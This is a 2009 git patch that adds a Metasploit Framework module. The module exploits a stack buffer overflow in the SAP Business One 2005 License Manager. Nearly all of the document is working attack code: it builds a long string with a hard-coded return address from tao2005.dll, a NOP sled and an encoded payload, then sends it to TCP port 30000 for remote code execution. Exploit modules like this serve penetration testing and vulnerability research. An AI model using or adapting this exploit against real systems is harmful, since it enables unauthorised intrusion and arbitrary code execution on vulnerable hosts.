From d1268286f0d5a29e4a248671f0ee727cea51486b Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Wed, 9 Sep 2009 15:01:25 +0000 Subject: [PATCH] Renamed to correct spelling based on the SAP service. git-svn-id: file:///home/svn/framework3/trunk@7019 4d416f70-5f16-0410-b530-b9f4589650da --- .../exploits/windows/misc/sap_2005_license.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 modules/exploits/windows/misc/sap_2005_license.rb diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb new file mode 100644 index 0000000000..ada4e253b7 --- /dev/null +++ b/modules/exploits/windows/misc/sap_2005_license.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SAP Business One License Manager 2005 Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in the SAP Business One 2005 + License Manager 'NT Naming Service' A and B releases. By sending an + excessively long string the stack is overwritten enabling arbitrary + code execution. + }, + 'Author' => 'Jacopo Cervini', + 'Version' => '$Revision$', + 'References' => + [ + + [ 'BID', '35933' ], + [ 'URL', 'http://www.milw0rm.com/exploits/9319' ], + + + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 400, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + # patrickw tested OK w2k3sp2 20090910 + [ 'Sap Business One 2005 B1 Universal', { 'Ret' => 0x00547b82 } ], # tao2005.dll push esp /ret + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 1 2009')) + + register_options([Opt::RPORT(30000)], self.class) + + end + + def exploit + connect + + sploit = "\x47\x49\x4f\x50\x01\x00\x01\x00" + rand_text_english(1024) + sploit << [target.ret].pack('V') # EIP for w2k3sp2 - jacopo (1024) + sploit << [target.ret].pack('V') # EIP for w2k3sp0 - patrickw (1028) + sploit << make_nops(44) + payload.encoded + make_nops(384) + + print_status("Trying target #{target.name}...") + sock.put(sploit) + sleep(1) + + handler + disconnect + end + +end \ No newline at end of file